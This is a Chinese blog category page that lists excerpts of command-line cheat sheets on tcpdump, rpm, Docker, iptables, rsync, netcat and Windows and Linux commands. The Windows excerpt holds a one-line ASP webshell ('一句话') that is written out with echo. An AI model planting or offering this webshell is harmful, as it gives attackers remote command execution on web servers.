文章分类 -  命令工具

摘要:# VNC Ref:https://blog.csdn.net/qq_41704259/article/details/79513519 # ubuntu server apt update apt upgrade -y # install ubuntu-desktop apt-get instal 阅读全文
posted @ 2018-08-05 21:01 数字安全极客 阅读(227) 评论(0) 推荐(0)
摘要:# rpm工具 rpm -qV openssh-server # 校验软件包S.?....T. c /etc/ssh/sshd_config rpm -qaV # 校验所有软件包 rpm -qf /bin/ls # 查看属于那个软件包coreutils-8.22-18.el7.x86_64 rpm 阅读全文
posted @ 2018-06-18 04:10 数字安全极客 阅读(163) 评论(0) 推荐(0)
摘要:In Bash you can start new processes (theads) on the background simply by running a command with ampersand &. The wait command can be used to wait unti 阅读全文
posted @ 2018-03-21 21:25 数字安全极客 阅读(439) 评论(0) 推荐(0)
摘要:## 基本用法 ### 1.连接到REMOTE主机 格式:nc -nvv 218.241.212.141 80 讲解:连到192.168.x.x的TCP80端口### 2.监听LOCAL主机 格式:nc -l -p 80 讲解:监听本机的TCP80端口### 3.扫描远程主机 格式:nc -nvv 阅读全文
posted @ 2018-03-18 17:08 数字安全极客 阅读(106) 评论(0) 推荐(0)
摘要:# 数据库常用资源 ## MySQL常用命令 ### 登录数据库 mysql -h localhost -uroot -p ### 导出数据库 mysqldump -uroot -p db > db.sql ### 导入数据库 mysql -uroot -p db < db.sql // or my 阅读全文
posted @ 2018-03-18 17:00 数字安全极客 阅读(82) 评论(0) 推荐(0)
摘要:# sock代理nessus proxychains https://hyperdrivesecurity.com/blog/2017/6/15/can-i-vuln-scan-through-a-socks-proxy 阅读全文
posted @ 2018-03-18 16:45 数字安全极客 阅读(966) 评论(0) 推荐(0)
摘要:Tcpdump监听网卡 监听lo tcpdump -i lo port 80 -X监听eth0 tcpdump -i eth0 port 80 -X监视指定网络接口的数据包 tcpdump -i eth1 ```监视指定主机的数据包打印所有进入或离开sundown的数据包. tcpdump host 阅读全文
posted @ 2018-03-18 16:42 数字安全极客 阅读(71) 评论(0) 推荐(0)
摘要:·find path -option [ -print ] [ -exec -ok command ] {} \; find命令的参数; pathname: find命令所查找的目录路径。例如用.来表示当前目录,用/来表示系统根目录。 -print: find命令将匹配的文件输出到标准输出。 -exec: find命令对匹配的文件执行该参数所给出的shell命令。... 阅读全文
posted @ 2018-03-18 16:40 数字安全极客 阅读(449) 评论(0) 推荐(0)
摘要:系统命令资源 ## Linux常用指令### Tcpdump监听网卡#### 监听lo tcpdump -i lo port 80 -X#### 监听eth0 tcpdump -i eth0 port 80 -X ### 文件夹操作 查看文件夹大小 du -h --max-depth=1 /home 阅读全文
posted @ 2018-03-18 16:21 数字安全极客 阅读(123) 评论(0) 推荐(0)
摘要:## Docker.io yum install docker-io /etc/init.d/docker restart ### Action docker version docker -h docker search tutorial docker pull learn/tutorial do 阅读全文
posted @ 2018-03-18 16:19 数字安全极客 阅读(59) 评论(0) 推荐(0)
摘要:https://www.gnupg.org/howtos/zh/index.html 阅读全文
posted @ 2018-03-18 16:16 数字安全极客 阅读(56) 评论(0) 推荐(0)
摘要:如果你的Linux服务器突然负载暴增,告警短信快发爆你的手机,如何在最短时间内找出Linux性能问题所在?来看Netflix性能工程团队的这篇博文,看它们通过十条命令在一分钟内对机器性能问题进行诊断。 概述 通过执行以下命令,可以在1分钟内对系统资源使用情况有个大致的了解。 uptime dmesg 阅读全文
posted @ 2018-03-18 16:15 数字安全极客 阅读(153) 评论(0) 推荐(0)
摘要:Windows常用系统命令 # Windows命令### 一句话 echo ^<%eval request("#")%^> > D:\h4ck.asp### 文件夹操作 Md hackdir #创建 Rd hackdir #删除 Dir c:\ #查看c盘根目录全部文件夹和文件信息 Tree e:\ 阅读全文
posted @ 2018-03-18 15:35 数字安全极客 阅读(120) 评论(0) 推荐(0)
摘要:Linux常用系统命令 # 网络操作 netstat -tulpn Show Linux network ports with process IDs (PIDs) watch ss -stplu Watch TCP, UDP open ports in real time with socket 阅读全文
posted @ 2018-03-18 15:11 数字安全极客 阅读(246) 评论(0) 推荐(0)
摘要:export http_porxy=yourproxy.com:port export https_proxy=yourproxy.com:port export http_proxy=http://domain\\user:pwd@proxy_addr:port export https_proxy= http://domain\\user:pwd@proxy_addr:port ... 阅读全文
posted @ 2018-03-18 14:56 数字安全极客 阅读(189) 评论(0) 推荐(0)
摘要:iptables -F iptables -X iptables -Z iptables -P INPUT DROP iptables -A INPUT -i lo -j ACCEPT iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT iptables -A INPUT -p tcp --dport 21 -j A... 阅读全文
posted @ 2018-03-18 14:54 数字安全极客 阅读(86) 评论(0) 推荐(0)
摘要:rsync -v --list-only --port=29989 mhgame@mcs.millionhero.com::mh head 0.lst rsyn -c -a rsync://115.231.46.37/gfs/data3/bc/f62/e4169441 /gfs/data0/ rsync -c -a rsync://115.231.46.37/gfs/data3/bc/f62... 阅读全文
posted @ 2018-03-18 14:47 数字安全极客 阅读(100) 评论(0) 推荐(0)
摘要:$ showmount -e 192.168.0.96 Export list for 192.168.0.96: /backup/gz 192.168.0.23/32,192.168.0.102/32,192.168.0.40 /backup/webbg_script 192.168.0.0/22 /backup/dw_bak 192.168.... 阅读全文
posted @ 2018-03-18 14:47 数字安全极客 阅读(91) 评论(0) 推荐(0)
摘要:#!/usr/bin/expect set timeout 2 spawn ssh -p [lindex $argv 0] [lindex $argv 1]@[lindex $argv 2] expect { "(yes/no)?" {send "yes\n";exp_continue} "password:" {send "[l... 阅读全文
posted @ 2018-03-18 14:44 数字安全极客 阅读(642) 评论(0) 推荐(0)
摘要:# 用Python建立最简单的web服务器 $ python -m SimpleHTTPServer 8080# 支持开发功能的 基础web from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler class TestHTTPHan 阅读全文
posted @ 2018-03-18 14:41 数字安全极客 阅读(93) 评论(0) 推荐(0)